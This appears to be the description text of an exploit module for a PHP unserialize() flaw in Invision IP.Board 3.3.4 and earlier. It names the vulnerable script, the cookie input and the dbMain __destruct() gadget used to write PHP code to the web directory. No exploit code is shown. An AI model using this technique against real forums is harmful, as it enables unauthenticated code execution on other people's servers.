					This module exploits a php unserialize() vulnerability in Invision IP.Board
				<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
				code under the context of the webserver user.

				The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
				which is called with user controlled data from the cookie. The exploit abuses the
				__destruct() method from the dbMain class to write arbitrary PHP code to a file on
				the Invision IP.Board web directory.

				The exploit has been tested successfully on Invision IP.Board 3.3.4.
